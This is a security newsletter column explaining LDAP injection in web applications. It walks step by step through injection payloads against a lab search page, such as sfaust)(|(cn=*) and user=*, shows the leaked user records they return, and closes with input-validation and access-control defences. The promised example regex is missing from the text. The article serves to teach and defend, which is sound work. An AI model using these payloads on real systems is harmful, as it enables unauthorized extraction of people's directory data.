Welcome to Volume 5, Issue 8 of The Internet Security Conference Newsletter, Insight. Insight provides commentaries and educational columns, authored by some of the best minds in the security community.
TISC is about sharing clue. So is this newsletter. We promise to provide something useful each issue. If we don't, flame me. If you like the issue, let us know!
Enjoy, and be safe,
Dave
Attackers may be unethical, unscrupulous, troublesome, irritating,
intransigent, surly, mean-spirited, malicious,
Today, Sacha Faust illustrates how attacks can succeed against web applications that make use of LDAP.
Happy Reading!
The Lightweight Directory Access Protocol (LDAP) is a widely used protocol for accessing information directories. LDAP injection is the technique of exploiting web applications that use client-supplied data in LDAP statements without first stripping potentially harmful characters from the request. The objective of this paper is to inform developers, system administrators and security professionals about various techniques that could be used to attack their applications. It also describes preventive measures for protecting applications from these intrusions.
The most widely use of LDAP in web applications is to enable users to easily search for specific data on the Internet. For example, a college or university might electronically publish white pages that allow users to find information about students and teachers. As illustrated below, the example LDAP-enabled Web application displays specific information about a user by accepting the user name in a query argument. Because of formatting restriction for this article, only request line and response body will be displayed without HTML tags.
Request: GET http://sfaustlap/ldap-search.asp?user=sfaust HTTP/1.0
Response Body:
User information for: sacha
cn: sacha faust
mail: sfaust@spidynamics.com
telephoneNumber: 999-887-5577
Now that we have a basic understand of what the application does, let's examine how the application is constructing the LDAP query to get the information. The first step should be to determine if the application is attempting any type of validation on the data sent by the user. To test for this, we can send a few requests with unusual characters and see how the application reacts to them.
First Test
Request: GET http://sfaustlap/ldap-search.asp?user=^(#$!@#$ HTTP/1.0
Response:
HTTP 500.100 - Internal Server Error - ASP error
Error Type:
IPWorksASP.LDAP (0x800A4F70)
[335](no description available)
/ldap-search.asp, line 58
Second Test
Request: GET http://sfaustlap/ldap-search.asp?user=sfaust) HTTP/1.0
Response:
HTTP 500.100 - Internal Server Error - ASP error
Error Type:
IPWorksASP.LDAP (0x800A4F70)
[335](no description available)
/ldap-search.asp, line 58
In the first validation test, the probe sends data that even the least sophisticated data validation routine would reject. In the second test, the probe sends a request that might look like a valid character in an LDAP query string. The returned data illustrated in both tests indicate that the application is not validating the data passed in the query and is storing the value directly into the LDAP object. Since the data is injected in the query, the application returns an error because of the invalid LDAP query created. This test application also sends a closing parenthesis, but it could use any valid filter character such as the following: | ( &.
Having identified the type of validation performed by the target application, the attacker can reverse-engineer the structure of the LDAP query to determine how the user-supplied data is used to perform the search. The LDAP search filters are always enclosed between parentheses (see http://msdn.microsoft.com/library/default.asp?url=/library/en-us/netdir/adsi/search_filter_syntax.asp for more information). To locate the data in the filter string, try to generate valid LDAP filters by adding a few valid characters to the beginning and end of the argument value, and then examine the response.
If the application reports an error, the probe is generating an invalid request. If the application returns without errors or with new data, the probe has created a valid query. This process can be time-consuming depending on the size of the query and the number of arguments sent. Here are two examples.
First Test ñ Sending |
Request: GET http://sfaustlap/ldap-search.asp?user=sfaust| HTTP/1.0
Response:
Server returns an empty response body
Second Test ñ Sending URL encoded & as %26
Request: GET http://sfaustlap/ldap-search.asp?user=sfaust%26 HTTP/1.0
Response:
Server returns an empty response body
As illustrated in the examples above, we can see how the query is structured by sending logical operators such as OR and AND. The actual query substitutes the symbols " | " for OR and "&" (URL-encoded as %26, to prevent the target application from interpreting the operator as query name/value separator) for AND. Because the target application does not return an error, the injected values must have created a valid query. With that information in mind and by looking at the LDAP query syntax, the attacker can conclude that the application generates a query in the following format: (some attribute=user input). The injected value in the first test would generate (some attribute=user input|). On the second test, the injected value would generate (some attribute=user input&). Both are valid queries that return no values.
To verify these assumptions, try to get the cn value of the user sfaust. This requires injecting data to generate a query that looks like (some attribute=user input)(|(cn=*)), which instructs the server to return any cn values. Since the assumption is that the query looks like (some attribute = user input), to get (some attribute=user input)(|(cn=*)), we will need to inject sfaust)(|(cn=*). The example below illustrates the actual string and the results of the query.
Example - Getting the cn value of the user
Request: GET http://sfaustlap/ldap-search.asp?user=sfaust)(|(cn=*) HTTP/1.0
Response:
User information for: sacha faust
cn: sacha faust
In this example, the injection works, confirming the assumptions about the structure of the query.
Having determined the structure of the query, we can generate additional attacks to access more information. First, we need to discover what attributes are available by querying the LDAP server to obtain an objectclass listing. Then, simply refer to http://docs.sun.com/source/816-6699-10/objclass.html to see the attributes included in each objectclass. If the objectclass listed is not on the above site, you can usually find the information by searching the Internet with your favorite search engine. The following example shows the list of available objectclasses for our user.
Example: Getting a list of available objectclasses.
Request: GET http://sfaustlap/ldap-search.asp?user=sfaust)(|(objectclass=*) HTTP/1.0
Response:
User information for: sacha faust
objectclass: top
: person
: organizationalPerson
: inetorgperson
: posixAccount
Now that we have a list of objectclasses, we can pick one and see if we have rights to view the data. This example uses the posixAccount objectclass, but any could contain interesting information. By looking at the class definition in RFC 2307, we see that the following attributes are required and should be available.
In theory, we should be allowed to see any of these attributes. The following example illustrates the attempt to get the home directory of the user sfaust.
Example: Getting the home directory for user sfaust.
Request: GET http://sfaustlap/ldap-search.asp?user=sfaust)(|(homedirectory=*) HTTP/1.0
Response:
User information for: /home/sacha
homedirectory: /home/sacha
Bingo! We now know that we can view the attributes of the posixAccount objectclass. We can apply the same techniques to all the objectclasses and obtain the data.
To obtain a listing of all the users on the system (and view their settings), simply use a wildcard character as the user value. The following example illustrates this request and the subsequent response.
Example: Getting a listing of all users.
Request: GET http://sfaustlap/ldap-search.asp?user=* HTTP/1.0
Response:
User information for: sacha faust
cn: sacha faust
mail: sfaust@spidynamics.com
telephoneNumber: 999-887-5577
User information for: testuser a
cn: testuser a
mail: testusera@spilab.com
telephoneNumber: 445-332-3345
User information for: wesley willis
cn: wesley willis
mail: wesley@willis.com
telephoneNumber: 343-223-2345
Protecting LDAP-enabled web applications demands the effort of developers as well as the LDAP administrators. Though effective at reducing the risk of such an attack, the approaches discussed in the next section are not complete solutions. It is best to remember that web application security, by its own definition, must be a continually evolving process. As hackers change their methodologies, so must those who want to implement a secure Web application.
All client-supplied data needs to be cleaned of any characters or strings
that could possibly be used maliciously. This should be done for all
applications, not just those that use LDAP queries. Stripping quotes or
putting backslashes in front of them is nowhere near enough. The best way
to filter data is with a default-deny regular expression that includes
only the type of characters that you want. For instance, the following
regular expression will return only letters and numbers:
Make your filter as specific as possible. Whenever possible use only numbers. After that, numbers and letters only. If you need to include symbols or punctuation of any kind, make absolutely sure to convert them to HTML substitutes (such as " "e; " or " > "). For instance, if the user is submitting an email address, allow only the "at" sign, underscore, period, and hyphen in addition to numbers and letters, and only after those characters have been converted to their HTML substitutes.
All data returned to the user should be validated and the amount of data returned by the queries should be restricted as an added layer of security.
Implementing tight access control on the data in the LDAP directory is imperative, especially when configuring the permissions on user objects, and even more importantly if the directory is used for single sign-on solution. You must fully understand how each objectclass is used and decide if the user should be allowed to modify it. Allowing users to modify their uidNumber attribute, for example, may let the user change access levels when accessing systems. The access level used by the Web application to connect to the LDAP server should be restricted to the absolute minimum required. That way, even if an attacker manages to find a way to break the application, the damage would be limited. In addition, the LDAP server should not be directly accessible on the Internet, thereby eliminating direct attacks to the server itself.
Sacha Faust, senior research and development engineer for SPI Labs, is responsible for managing the SPI Labs team, researching new techniques for Web auditing, conducting source code reviews to find vulnerabilities, and securing Web applications.